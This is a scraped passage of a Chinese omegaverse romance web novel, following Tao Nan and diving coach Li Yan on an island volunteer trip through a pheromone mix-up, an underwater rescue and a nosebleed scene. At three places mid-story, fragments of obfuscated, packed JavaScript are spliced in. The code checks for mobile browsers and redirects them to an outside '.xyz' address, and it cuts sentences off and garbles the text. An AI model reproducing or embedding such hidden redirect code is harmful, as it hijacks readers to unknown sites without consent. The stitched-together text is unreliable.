走廊的顶灯在凌晨泛着昏黄的光晕,梨研拖着沉重的身体,敲响了陈辰的房间门,指节几乎要嵌进雕花木门里。 他的脸色在暖黄的灯光下泛着红,额前的蓝色碎发被冷汗浸湿,紧贴在滚烫的皮肤上,发梢还挂着细小的水珠。 陈辰不耐烦的拉开门,黑色丝绸睡袍松垮地挂在身上,露出的半截精瘦腰线上布满星星点点的吻痕。 梨砚抬头时,陈辰瞥见他病态潮红的脸颊、红得近乎滴血的耳垂,和脖颈处因高热而呈现出不正常的绯色的皮肤,随后挑眉笑道:“你大半夜在我门口开什么屏?” 梨砚的目光越过陈辰,落在房间深处。 昏黄的落地灯将室内渲染得暧昧朦胧,桃酥慵懒地倚在床头,指间夹着一根点燃的香烟,袅袅白烟在空气中勾勒出桃酥张扬的脸。 他的视线与桃酥对上,狐狸眼微微眯起,眼尾的红痣随着挑眉的动作轻轻颤动。 “帮我个忙。”梨砚收回目光,沙哑的声音带着压抑的颤抖,修长的手指死死按住后颈灼烧般发烫的腺体。 他说:“桃楠喝醉进错房间了。” 话音还未落下,桃酥就已经走到了门口。 “好久不见啊,不过……你们干什么了?为什么你身上有他信息素的味道。”她俯身逼近,好闻的烟草气息扑面而来。 梨砚感觉自己头晕眼花,耳边的声音也越来越弱,眼前开始泛起密密麻麻的黑点,天花板的吊灯在视线里扭曲成模糊的光斑。 他踉跄着往前倾倒,还没来的及回话便倒在了房间门口。 “我靠,完了完了!”陈辰见状慌忙扶住梨砚瘫软的身体。 对方身上滚烫的体温透过单薄的衬衫传来,像是抱了一团燃烧的火焰,陈辰只能将人扛到床上,给他打腺体修复剂。 桃酥双臂环胸站在一旁,“这混蛋是不是对我弟弟做了什么?”她咬着牙,语气不善道:“要是桃楠有什么事儿,我卸了他两条胳膊。” 陈辰把人安顿好后,拉着她去了梨研房间,“大概是没有,你放心,现在比较倒霉的是人家。” 他兄弟现在可是被绑定了好不好? 房门打开后,浓郁的桃花香如潮水般涌来,混着潮湿的水汽,几乎让人喘不过气,浓度比平时都高。 房间窗帘紧闭,仅靠床头一盏小夜灯照明,暖黄色的光晕里,桃楠仰面躺在床上,露出精致的锁骨和若隐若现的腹肌。 浅棕色头发凌乱地散落在枕头上,在光影中勾勒出令人心动的弧度。 桃酥皱着眉走过去,冷着脸从不省人事的弟弟口袋里掏钥匙。 指尖触到冰凉金属的瞬间,她瞥见桃楠腕间有一道淡红抓痕,像是被人用力攥住留下的印记。 “去开门。”桃酥将钥匙丢给了陈辰,自己把人扛了起来。回到桃楠的房间后,她小心翼翼的将人放进了被子里,喂他喝水。 “怎么没有……梨花香了……”桃楠靠着床头,不安分的动了动,推开水杯。 陈辰听到后,幸灾乐祸的笑出了声,摆出一脸“我就知道”的表情。 看来该来的还是来了啊,天定的缘分,挡都挡不住! 桃酥忍着脾气让不清醒的桃楠把水喝完,给他盖上被子,“啧,老娘明天再收拾你。” 桃楠蜷缩在沾着冷汗的被褥间,手指无意识揪着床单褶皱,最后一丝梨花香消散在空气中,他如同断线的木偶般坠入梦境。 黑暗的梦境里,暴风雨裹挟着咸涩的海浪轰然砸下,墨色海水将他吞没,一双温热的手臂揽住他的腰。 那人的体温透过湿透的衣服渗进皮肤,颈侧流出的鲜血顺着下颌落下,在桃楠的脸上凝成暗红的珠。 怎么每次都看不见? 桃楠仰起头,颤抖着伸手去碰那道模糊的轮廓,却被后颈腺体传来的灼痛打断,指尖在即将触及对方脸颊时停住。 他猛地睁开眼,黑暗的房间里浮动着幽蓝月光,清冷的梨花香如银蛇般钻进鼻腔,在他发烫的腺体上游走。 窗外的风掀起纱帘,桃楠弓起身子,冷汗浸透的衬衫紧贴着起伏的腰线,露出半截因用力而绷起的腰窝。 他感觉有一股清冷的梨花香往腺体里钻,逼的自己的信息素不受控制的往外冒,与空气中的梨花香轰然相撞。 很快,周围被梨花和桃花香包围,整个房间浸染得如同春日盛放的果园。 有那么一瞬间,桃楠都要甚至都要怀疑自己以后是不是只能闻到这两种味道了。 不知道过了多久,两股信息素终于融合在了一起,似是桃花和梨花在春天一起结出了果子,发出清甜的味道。 融合后的信息素涌向桃楠,像是果子的汁水滴在了腺体上,然后钻了进去,惹的他的腺体开始发热。 他咬住下唇,齿间溢出压抑的呜咽,指节因攥紧被褥而泛白。 好痛……怎么回事…… 桃楠难受的抱紧了被子,小声喘着气,将脸深深埋进枕头里。 后颈的腺体仍在发烫,每一次急促的喘息闻到的都是那股融合后的清甜信息素。 不知道过了多久,那股浓烈的香气终于消散。桃楠紧绷的脊背慢慢松弛下来,攥着被角的手指松开,露出深深的掐痕。 后颈的灼痛渐渐平息,只留下一丝若有若无的酥麻,他脑袋昏沉得像是灌满了铅,残存的酒劲与信息素交融后的倦意涌来。 在意识彻底沉入黑暗前,他迷迷糊糊地想:这味道,好像还挺……好闻。 第二天早上,桃楠睁开眼,伸了个懒腰,然后撇见床边抱臂站着的桃酥,吓了一跳。 他迷迷糊糊的揉了下眼睛,坐起来心虚道:“姐,你大早上站我床边干嘛呢?” 桃酥想起陈辰昨晚告诉她的事儿,清了清嗓子,试探的问他,“你……还记得昨天你喝醉后的事儿不?” “你又不是不知道,”桃楠松了口气,掀开被子,叫她转身,换了个薄荷绿的T恤下床,他说:“我喝醉了断片。” 卫生间里,桃楠慢吞吞刷着牙,从镜子里看到姐姐欲言又止的样子,他忍不住转身问她:“姐,你到底想说什么?” 看着眼前可爱纯洁并不谙世事的弟弟,桃酥叹了口气,摆摆手道:“没事儿,我在这边陪你几天吧。” “哦,好啊。” 桃楠全当她是想要赛前放松一下,随口应了下来。 冲掉嘴边的牙膏沫后,他兴冲冲的走到桃酥跟前,眯着眼质问她:“你为什么瞒我你谈恋爱了!坦白从宽抗拒从严啊。” 桃酥笑着揉乱他翘起的呆毛,“好了好了,回头告诉你,先别告诉爸啊。”说完她又凑近点了点他的额头威胁道:“小心我卸了你胳膊。” “知道了知道了!” 桃楠摸着额头找到相机,和她一起出了门。 今天的大概安排就是出海潜水,再处理一些小的情况,应该没什么特殊的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326477|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但桃楠多了一个任务,找海岛特辑的嘉宾。 餐厅外的棕榈树在海风中轻摇,木质长廊铺着细碎的贝壳,踩上去沙沙作响。 进去的时候,大家已经到的差不多了,时夏见桃楠过来,把给他拿的早点推了过去。 “你怎么看起来像是没睡够?”桃楠坐下,心情不错的咬了口虾饺,问看起来没什么精神的时夏,“你昨天不是回去挺早的吗?” 对方面无表情的摇摇头,说:“没事儿,可能是喝酒了没睡好。” 一旁精气神儿看起来很好的南阳把蜂蜜水递给时夏,转头贱兮兮的对桃楠笑,“你一个没有夜生活的单身狗懂什么?晚上哪有那么早睡觉的。” 时夏闻言一愣,在桌下踩了他一脚,警告道:“你说什么呢?” 桃楠:“…………” “姐!你看他,讲少儿不宜的话题带坏我!”桃楠转身一脸委屈的和桃酥告状。 陈辰在一旁搅和道:“他说的没错啊,有对象谁还早睡啊,漫漫长夜不得…………哎!痛痛痛!” 他的话没来的及说完,因为脸被桃酥掐住了。 她警告道:“大清早的不许说这些带坏小朋友,好好吃饭。” 桃楠幸灾乐祸的伸手朝南阳和陈辰摆了个耶,结果就是被姐姐制裁,然后盯着吃完了碗里的菜。 时夏见他一脸和蔬菜不共戴天的样子,笑着调侃:“不可以挑食哦,你还是小朋友。” “时夏同志,怎么连你也不放过我。”桃楠面无表情的嚼着最后一块儿胡萝卜,生无可恋的趴在了餐桌上,然后被桃酥拎起来坐好。 早饭结束后,几人按照向导安排的时间,去了码头换衣服。 咸涩的海风卷着潮湿的水汽涌进码头的更衣室里,桃楠脱了衣服,有些奇怪道:“今天怎么感觉腺体怪怪的?都没闻到一点信息素的味道了,还挺轻松的。” 正常情况下,就算是大家控制住不释放信息素,也会有些残留在衣物上,或者汗液也会传播,可今天桃楠却是一点都没闻到。 他关上更衣室的柜子,摸了摸后颈的腺体,想着是不是自己出了什么问题。 不知道是不是凑巧,他突然闻到了一股梨花味的信息素,味道的主人似乎很兴奋,但没有任何压制的意味,大概是那个Alpha的信息素因为来到海边太兴奋了,没控制好? 他对那股味道好像异常的喜欢,他平时对Alpha的信息素都会有或多或少的排斥,但是他现在反而想要靠近,腺体也没有任何异常反应。 桃楠下意识转身想要去寻找它的来源,可他找了半天都没看见附近有人。 奇怪,明明有信息素飘过来啊,怎么会没人呢? 他有些可惜的转过身,把脱下来的衣服放好。 也不知道这味道的主人长什么样,信息素这么好闻,应该挺好看的吧?桃楠没由来的想。 在他锁好柜子后,那股清香的梨花味好像变浓了一些, 桃楠寻着味道飘来的方向走去,可他好像还是晚了一步,只看见了不远处穿着潜水服的蓝色背影。 蓝色?会不会是…… 他想要追上前证明自己的猜想,但被进来找他的时夏打断了。 “你干什去?马上要集合了。” “啊?哦,没什么,走吧。” 等桃楠应声回头的时候,那抹背影已经消失了,只剩咸腥的海风灌进空荡荡的走廊。 5. 被救了 桃楠离开后,隔壁更衣室里的梨砚无意识摩挲着脖颈后狼尾的发梢,开心的脑袋上都要长朵小花儿了。 他甚至有些可惜的想,桃楠要是没断片就好了。 “确认好了?好了就给老子把阻隔剂喷上。”陈辰见他一脸不值钱的样子,无语的推着他往外走,“人家就只能闻见24小时,剩下的你自己把握机会,还有……” “行了行了,我知道”,梨砚没让他说完,“你先担心担心你自己吧。” 反正我已经闻到他的信息素了,也没什么遗憾了,其他的……… 陈辰白了他一眼,留下一句“我懒得管你。”然后几步上前,搂住在门口等他的人。 咸腥的海风卷着细沙掠过,梨砚抱着全套蓝白配色的潜水装备跟上去。 上船的时候,向导已经在简单介绍注意事项了,能来这里做志愿者的学生大部分都有潜水证,并不需要过多的教学。 梨砚戴上潜水面罩,悄悄看向认真听向导讲话的桃楠。 敢来海边还考了潜水证,大概是不怕了吧? 船在靠近一片珊瑚礁的时候停下,向导握着扩音器站在船头,身后的珊瑚礁群有几只海龟拖着覆满藤壶的壳缓慢游动,凸起的赘生物在阳光下泛着灰褐色。 向导跟蠢蠢欲动的志愿者们简单交代了几句,然后示意船仓里的梨砚出来。 梨砚站在甲板上活动了下手腕,蓝色的潜水服紧贴身体,勾勒出流畅的肌肉线条。 他没等向导示意,直接翻身入水,冰凉的海水瞬间包裹全身,气泡也从呼吸嘴溢出。 他朝向导比了个ok的手势,对方本来是想让他做个自我介绍的,但现在也只能点点头,随他去。 南阳作为另一个潜水教练,跟着他下了水,游过去摘了面罩问他:“兄弟,认识一下,我也是协会的潜水教练,叫南阳。” 梨砚闻言,弯了弯唇角,目光从船上的人身上收回,礼貌的笑了一下,隔着面罩回他:“我叫梨砚。” “我靠!”南阳听见名字的瞬间,眼睛一下就亮了,激动道:“前辈!我也是国家队的,我们可是天天听教练夸你啊!没想到在这里遇见你了。” 梨砚愣了一下,他以前也是游泳队的,不过现在已经退役了,离开后也很少听见队里的消息。 “挺巧的,”他伸手拍了拍南阳的肩膀,“回去记得代我向你们教练他老人家问好。” 咸湿的海风卷着细碎浪花拍打在船舷上,向导攥着扩音器催促,“西侧暗流增强,两位教练注意一下。” 南阳只好游到另外一边,没来的及回答他。 船上,志愿者们开始下水,轮到时夏的时候,海里突然传来一句:“我们夏夏就是最棒的!别怕,男朋友在这里保护你!” 时夏:“…………” 周围传来大家的调侃的起哄声,站在时夏身后的桃楠看见眼前人红着脸,也不知道是气的,还是害羞了。 总之他看见的最后一幕,就是时夏拿着用来处理藤壶的匕首冲下去了。 桃楠笑了好半天才转身把相机交给了桃酥,然后利索的下水。 “还记得录视频呢。”桃酥懒散的靠在栏杆上,不耐烦的举着相机道:“看来是真的不怕了。” “我都把潜水证考下来,这不是废话吗?”桃楠整理好装备,笑嘻嘻说,“记得多拍点我英勇救龟的画面。” “出息。”桃酥不情愿的按下录像键。 晃动的水面上,大家把合力把被藤壶折磨的大海龟托到了甲板上处理,桃楠抱住了跟在它身后的崽崽,认真的用匕首处理龟壳上细小的藤壶。 桃酥透过取景框看着弟弟,镜头里的少年动作很利落,完全不见当年的模样。 她看着镜头里专业又认真的桃楠,欣慰的笑道:“我们阿楠真厉害。” “老婆。”陈辰凑过去,厚着脸皮问,“怎么都不见你夸我厉害?我可是泳队的队医!” 桃酥闻言,挑眉看他,“怎么,要我夸你口丩床厉害啊?也不是不行。” 陈辰:“…………” 桃楠实在不想听两个人聊少儿不宜的事情,把怀里的海龟放开后,潜到了另外一边。 在准备浮上去的时候,右脚突然传来一股怪异的拉扯感。像是被无形的手攥住脚踝,脚蹼卡在某个坚硬物体上纹丝不动。 桃楠低头看去,只见墨绿的海藻如同章鱼触手般缠绕住脚蹼,卡在了礁石缝隙里,那里还隐约卡着半截生锈的渔网,在海流中翻卷。 他接触潜水以来似乎都很幸运,还从来没有出过意外。 明明这里也不深啊,怎么就卡住了? 桃楠稳了稳心神,可泡在海水里,他还是不可避免的想起了小时候的那次模糊不清的经历。 他用力的扯动右腿,气泡从呼吸嘴急促溢出。 记忆的闸门轰然炸开,咸腥海水灌入鼻腔的窒息感、挣扎时海水灌进眼睛的刺痛,还有沉入海底时耳畔轰鸣的寂静。 此刻周围晃动的光斑与当年水面上摇晃的阳光重叠,他越着急,那种熟悉的濒死感就越强烈。 平稳流动的海水里,桃楠用力蹬着腿,想要引起周围人的注意。 不会有事的,这里很浅,还有教练陪着…… 他试图把自己从恐惧的情绪里带出来。 不过十秒的时间,气泡在他眼前炸开又消散。 模糊的光影里,很快有人发现了桃楠。隔着潜水面罩,他看见有人游到了自己脚底卡住的对方。 桃楠紧绷的神经终于出现一丝松动。锋利的匕首划开缠绕的海藻,铁锈色的渔网碎片随着海流飘散,那人有力的手指直接探入礁石缝隙,徒手掰动卡住脚蹼的碎珊瑚。 脚蹼被拔出来后,腰间突然传来坚实的触感,对方游了上来,揽住他的腰往上游去。 在被熟悉感包围后,桃楠莫名觉得安心。被抱上船后,他摘下面罩,躺到甲板上开始大口喘气。 吵闹的关心声中,他看见救他上来那个人摘下了面罩,露出显眼的蓝发和妖艳的脸。 那双狭长的狐狸眼微微上挑,眼尾的红色泪痣随着弯起的唇角轻轻颤动,像是坠入人间的仙女遗落的红色宝石,在脸颊旁的蓝色碎发映衬下,尤为明显。 桃楠盯着那双摄人心魄的眼,突然觉得有些熟悉。 长的好像在雪山看见那只雪狐啊…… 他回过神,发觉自己现在的行为有些不礼貌,磕磕绊绊的问对方,“你……你是昨天那个好心的帅哥?” “是我。”梨砚的声音裹着浪花般的清冽,他弯唇朝桃楠笑道:“你好,我是协会请来的潜水教练,梨砚。” 梨砚…… 这个名字像是带着春日细雨的湿润,桃楠悄悄在心里念了一遍。 怎么又是和梨花有关的?最近出场率有点高啊。 “昨天我还没来得及告诉你我的名字呢,”他无视掉时夏和桃酥关心的眼神,撑着甲板坐起来,歪头朝梨砚笑了一下,“我叫桃楠。” “嗯,很高兴认识你。”梨砚还是一脸礼貌的笑着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326478|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为被珊瑚礁卡住也不是什么很稀奇的事儿,大家就没太担心,继续潜水,毕竟都是专业的,桃楠慌也只是因为想到了以前的遭遇,虽然他只记得梦里那一点。 “不是要拍英勇救龟?”桃酥踹了一脚看起来没什么事的弟弟,冷着脸举着相机,“刚还夸你厉害呢,结果下一秒你就变成龟了。” “意外意外,这段删掉!”镜头里,桃楠仰着漂亮的脸不好意思的笑着,伸手想要去抢桃酥手里的相机。 他扑向姐姐的动作带起一丝若有若无的桃花香,湿透的浅棕色发丝黏在额角,像是被浪花卷上岸的人鱼。 梨砚看见他闹了一会儿才把相机拿到手。 海风吹过湿漉的蓝色狼尾,他抱臂站在不远处,眼底带笑,嘴角不自觉的上扬,看着桃楠靠在栏杆上给海里打打闹闹的时夏和南阳拍照。 海岛正午的太阳照在桃楠的发丝上,还有后颈微微泛红的腺体。 梨砚就这么笑盈盈的在背后盯着桃楠看了好一会儿,像是一只傲娇的狐狸在打量自己漂亮的猎物。 “阿楠长大了也很漂亮呢……”梨砚轻声呢喃,声音被海风揉碎,飘散在咸腥的空气中。 “哟~搁这儿当望妻石呢?”陈辰不知何时凑到梨砚身旁,穿着鲜艳的橙色防晒服,戴着夸张的反光墨镜,嘴角还挂着不怀好意的笑。 他凑近梨砚耳边,小声说,“你不打算有点表示?这次可是个好机会啊。” 梨砚抬眸瞥了眼嬉皮笑脸的陈辰,轻轻叹了口气。海风吹动他额前的碎发,将他眼底的情绪掩去几分。 他没有回答陈辰的问题,转身朝着船舱走去,隔绝了刺眼的阳光与喧嚣的海风,只留下一片静谧。 金属门合上后,某个表面高冷的要死的人坐到了沙发上,红着脸紧张的捏着手里的饮料瓶。 他的耳尖泛起一抹明显的红晕,心脏在胸腔里剧烈跳动,像是要冲破束缚,奔向甲板上那个日思夜想的身影。 咸涩的海风从虚掩的舷窗钻进来,裹挟着甲板上隐约传来的欢笑声,拂过还未干透的蓝发, 梨砚抬手烦躁地抓了抓头发,“要怎么避开和他相处啊?”他喃喃自语,墨色的眸子蒙上一层看不清的情绪。 “不应该让我遇见他的。” 我会舍不得再一次离开他。 梨砚就这么乱七八糟的想了一堆。 身上湿透的潜水服还在往下滴水,蓝白色的布料紧贴着他单薄的脊背,他顾不上沙发会被潜水服弄湿,干脆的扑倒在了沙发上,把双手交叠在一起,放到了狂跳不止,并不停往外冒泡泡的心脏处。 “算了,反正他会离开,也不会记得我。”梨砚仰头靠在沙发上,喉结滚动着吐出这句自嘲。 他伸手戳破绕在头顶的泡泡,笑了一下,安慰自己:“能再看见他就已经很好了。”可笑意却像被礁石撞碎的浪花,始终都没抵达眼底。 湿漉的蓝发黏在额头上,梨砚忽然抬起手,用手腕内侧挡住眼睛。指缝间漏出的微光里,他能看见自己的皮肤下,淡青色的血管正随着心跳微微震颤。 “避开的话……就闻不到他的信息素了吧?”他说:“可这是我第一次闻到阿楠分化后的信息素,那么温柔的桃花香,我还没闻够呢......” 海风再次涌进船舱,像是要把他吹清醒,然后再带着的记忆一起吹走。 梨砚蜷缩在沙发里,任由咸湿的风拂过他冰凉的皮肤,将所有滚烫的回忆都吹散成泡沫,只留下角落里逐渐消散的桃花香气。 6. 流鼻血 船舱外,桃楠站在甲板的栏杆旁,海风掠过船舷,他举着相机半蹲着,额前几缕软发被吹得贴在光洁的额头上。 快门轻响的瞬间,桃楠的唇角不自觉勾起。 镜头里,那人骨节分明的手指正搭在磨砂质感的舱门把手上,蓝白的潜水服紧贴着流畅的肌肉线条,蓝发也被海风吹得微乱,发梢未干的水珠顺着蓝色发丝滴落,像深海里游弋的蓝鲸拂过水面,整幅画面静得像被按下暂停键的电影帧。 “咔嚓”声未落,一股清甜的气泡水香气就漫了过来。时夏叼着玻璃瓶的吸管,吸管上还沾着点橙黄色的糖浆。 他凑过来看桃楠相机里抓拍到的那张好看的背影照,然后意有所指的笑道:“拍这么认真?怎么,你真一见钟情了?” “想什么呢。”桃楠按灭屏幕,指尖在相机背面的防滑纹上蹭了蹭,伸手戳着时夏嘴角边的梨窝解释道:“他长的确实顶,不过我拍他是要拿给粉丝看的。” 时夏“哦”了一声,吸管在嘴里转了个圈,又问他,“是这期要做CP向吗?你要邀请他当嘉宾啊?” 桃楠笑道:“粉丝这么说就算了,怎么你也这么说?我那是正经双人视频!怎么变成恋爱档了?” 他转身靠在栏杆上,垂眸看向舷边跃出水面的银鱼,弯了弯漂亮的桃花眼,“不过海岛这么漂亮,确实很适合谈恋爱啊。” 时夏闻言调侃他:“谁让你公平公正的对每一个嘉宾都很好?大家要磕cp也正常” 桃楠表示:“那是因为我是桃·端水大师·楠!” 时夏:“…………” 时夏:“……建议你去申请个‘端水艺术家’锦旗。” 甲板另一头传来一阵欢笑声,这会儿是休息时间,大家都去找南阳和桃酥玩了,大概因为他们都是个自圈里数一数二的的存在,也有不少人认出来。 他们这次的海洋动物保护志愿活动要持续两个月,今天除了向导,协会其他的人都还没来。 好像是听说隔壁岛有档海洋主题的综艺要拍,需要他们配合,本来说好今天过来对接,结果前天突然爆了个大新闻,有个Alpha嘉宾信息素紊乱引发了小规模暴乱,节目生生耽误了两天。 这消息还是桃楠早上刷微博时看见的,热搜词条后面跟着个鲜红的“爆”字。他点进去扫了两眼,差点把嘴里的芒果干喷出来,那出事儿的Alpha,赫然是他那坐拥几千万歌迷的发小秦尤。 这件事儿被爆出后,节目组官宣节目的那条微博评论区被粉色的应援头像淹没:“肯定是哪个绿茶Omega故意释放信息素了!” “哥哥怎么可能会失控!节目组必须给个交代!肯定是因为有omega勾引我们家秦尤了。” 桃楠当时抱着手机笑了半天,转手就把热搜截图甩给了秦尤。 薄荷桃子:[你可以啊秦大明星,玩这么刺激?快给我讲讲后续,我瓜才吃一半。] 秦大帅哥:[等我忙完回你。] 薄荷桃子:[兄弟你不会真出事儿了吧?] 对面可能是真的很忙,没再回复桃楠的消息。 临近中午的时候,向导临时通知说下午要去隔壁岛的海洋馆,给那里的海豚过生日,大家只好在小游艇的更衣间换上了协会早就为他们定制好的工作服。 一件胸口绣着蓝色小海豚图案的嫩黄色的短袖和浅蓝色背带裤, 几个穿惯了深色户外服的Alpha当即垮了脸,其中一个高个子男生扯着衣服上的海豚刺绣,苦着脸问:“徐导,真没别的款式了?这颜色……有点太嫩了吧?” 徐导把手里的小风扇往脖子上一挂,笑得眼角堆起细纹:“少废话,穿!这叫团队精神,是协会给你们上的第一课——学会和可爱共处。” 桃楠跟着大家调侃了几句,随后便抱着衣服去了更衣间。 换好出来的时候,有人突然从他面前“嗖”的一下就跑了过去,还差点撞到他。 “跑这么快,赶着去给鲨鱼当饲料啊?”他小声吐槽,抬眸朝对方离开的方向看去,然后就在甲板上看到了陈辰穿着工作服,追着他姐跑的身影。 陈辰:“老婆!你为什么不陪我穿?情侣装欸!陪我穿一下怎么了?” “你是不是有病?这哪里是情侣款了?你是想死吗?”桃酥对陈辰的要求无语的想打人。 远处的桃楠默默转开视线,心想:真是够了,就不能心疼心疼他这个单身Omega吗? 桃楠猜更衣室里的那两个人一时半会儿也出不来,只好一个人去给另一边切水果的志愿者搭把手。 海风卷着热带水果的香味掠过甲板,桃楠踩着晃悠悠的船板走过去的时候,几个女孩子已经把水果切好了,正围着塑料桌摆盘,Alpha们手忙脚乱地往盘子里插小伞,被Omega嫌弃“审美堪忧”。 一群人打打闹闹的,互相嫌弃对方摆的盘丑,这里压根没什么事儿要他帮忙的了。 “徐导,我这是负责吃就好了吗?”桃楠边说边拉开遮阳伞下的小折叠椅坐下。 徐导正享受手里小风扇嗡鸣着送出的凉风,闻言把手边的工作服递给了他,“那你去船舱里,把这个给你们梨教练,那小子估计还在沙发上补觉。” “得嘞。”桃楠刚接过衣服,就感觉到一道炽热的目光落在自己身上,抬头发现坐在他身旁的甜橙橙抱着柠檬冰饮,晃着齐肩的金黄蛋卷发,眼睛一眨不眨的盯着自己。 她那一脸幸福的表情,桃楠不用猜就知道她在想什么。 不亏是我的铁粉啊,这就已经磕上了!? 桃楠好笑的拿着衣服,用警告的语气提醒她,“闺女,你收敛一点哈,你那眼神……我感觉今晚我要去一趟诗诗大大的同人铺了。” “桃儿!”甜橙橙晃着他的胳膊撒娇,卷翘的睫毛扑闪,“别剥夺我们粉丝的精神粮食嘛!” 呵呵!万字豪车如果可以填饱肚子的话,你起码八百辈子不用担心没饭吃。 桃楠无奈地把脖子上的相机摘下来塞给她:“帮我导下今天的素材,我明早就要发了,今晚还得熬夜剪辑。” 甜橙橙熟练地接过去,嘴上吐槽着“无良主播压榨粉丝”,手指却飞快地按开了相机的传输键。 桃楠拎着工作服走向船舱,金属门把手上还沾着点海水,冰凉的触感让他莫名定了定神。刚才不知怎么的,脑子里突然闪过一个念头,要是梨教练换衣服的话,自己能不能……看一眼? 海风卷着热气从耳边掠过,桃楠猛地回神,甩开了脑子里香艳的画面,给自己的不礼貌行为找了一个合理的理由:我这是为了粉丝的观感考虑!毕竟这里都是海,肯定会有点身体上的牺牲嘛。 用“为粉丝负责”的借口压下不雅的遐想后,他抬手打开金属门,拎着衣服走了进去。 推开船舱门的瞬间,空调的冷风扑面而来,吹散了满身的热气。操作台的屏幕还亮着,上面跳动着各种数据,偶尔发出“滴滴”的轻响,衬得舱内格外安静。 “梨教练?”桃楠试探着朝沙发的方向喊了一声,声音在空旷的船舱里荡开一点回音。 不在吗? 见没人回应,桃楠抬脚又往沙发跟前走了走,靠近后,他弯腰低着脑袋朝沙发里看去,然后愣住。 沙发上的Alpha侧躺着,蓝发像深海里散开的海藻,铺在黑色皮质沙发上,颈侧的线条冷白而流畅,随着呼吸轻轻起伏的腺体处,隐约能看见淡青色的血管。 嘶……这画面有点不对啊。 桃楠没来由的想,他真的觉得那里都很熟悉,轻微摇晃的船舱、沉睡在沙发上的身影、还有此刻鬼使神差靠近的自己。 桃楠突然心头一跳,仿佛某个被遗忘的梦境浮了上来。 沙发上的人似乎被脚步声吵醒了,侧躺的身体缓缓转过来,半干的蓝发滑到颈侧,露出一小片冷白的皮肤。 梨砚的睫毛颤了颤,那双天然上挑的狐狸眼刚睁开时还带着点薄怒,可在看清眼前人时,目光骤然凝固,视线就这么和低头看他,并且刚刚还在自己梦里的漂亮omega对上,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326479|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做梦都在看的那张脸,此刻正低头望着自己,睫毛在眼下投出一小片阴影,漂亮得让人失神。 四目相对的刹那,梨砚的瞳孔猛地收缩了一下,心脏像被投入石子的深潭,一圈圈涟漪荡开,几乎要跳出胸腔。 眼前的画面和记忆深处某个湿漉的片段重叠,海水的咸涩、Omega身上淡淡的桃花香、还有那双近在咫尺的桃花眼……他一时竟分不清是现实还是梦境。 两个人谁都没有先移开视线,桃楠就这么望着梨砚那双氤氲着睡意的狐狸眼。眼尾微微上翘的弧度还裹着未褪的慵懒,他没看懂里面翻涌的情绪,只觉得自己眼光好,这张脸拍出来绝对上镜,至于八块腹肌什么的,都不重要了!今晚就得拟个合作合同! 沉默在空调风里漫了几秒,或许是觉得这样干瞪眼太尴尬,桃楠直起腰往后推了一步,视线从沙发上的Alpha身上移开,对方似乎也清醒了,撑着沙发坐起身,轻咳了一声,试图掩饰刚才的失态。 桃楠想起自己是来干什么的,伸手把手里的工作服递给梨砚,想打破沉默,但视线再次落在对方身上的时候,他的目光却突然凝滞。 因为一抹鲜艳的红色正顺着梨砚鼻孔蜿蜒而下,他流鼻血了。 桃楠的脑子里闪过各种各样的想法,然后下意识低头看向自己身上的衣服。 应该不是因为我吧,我穿的挺老实的啊…… 他否定完自己的想法后,抬头悄悄观察了一下沙发上的Alpha,然后得出结论:他这肯定是做了什么少儿不宜的梦!耳朵尖都是红的。 梨砚倒是还没发现自己现在的情况,垂眸看了眼桃楠身上的工作服,没接他递来的衣服,礼貌道:“谢谢,我有衣服换,不用。”然后又镇定的问,“你还有什么事吗?” 桃楠闻言收回手,随后盯着他的鼻子看,最后还是憋不住笑了一下,清了清嗓子回他:“梨教练,你流鼻血了。” 梨砚正在喷阻隔剂的手一顿,下意识伸手摸向自己的鼻子,然后低头怔愣的看着自己手上滑腻的红色鼻血。 梨砚:“…………” 和协会签的合同违约金是多少来着?要不我干脆和隔壁岛的教练换一下算了………… 梨砚慌乱的仰起脑袋,自暴自弃想了一堆离开这个海岛的理由。 “梨教练,你要不先擦擦?”桃楠在一旁适时开口,低头从工装裤的口袋里掏了包纸递给梨砚。 目光落在对方身上时,又被桌上的东西勾住了视线,一瓶银色的阻隔剂放在茶几边缘,塑封被随意扯在一旁,崭新的瓶身反射着冷光,空气里除了淡淡的血腥味,还飘着股清甜的桃子香。 这是刚拆开的,还是一股甜甜的桃子味,让他觉得有些亲切,但也有些不理解,这股不合常理的味道让他微微皱眉。 Alpha怎么会喜欢这么甜腻的味道,不应该喜欢雪松那种冷飕飕的味道吗?难道说梨教练有什么癖好?或者喜欢的人是这个味道?就像时夏喜欢用橘子味的一样? “那个……”梨砚避开桃楠探究的目光,声音带着点刚睡醒的沙哑,“没别的事的话,我要换衣服了。” 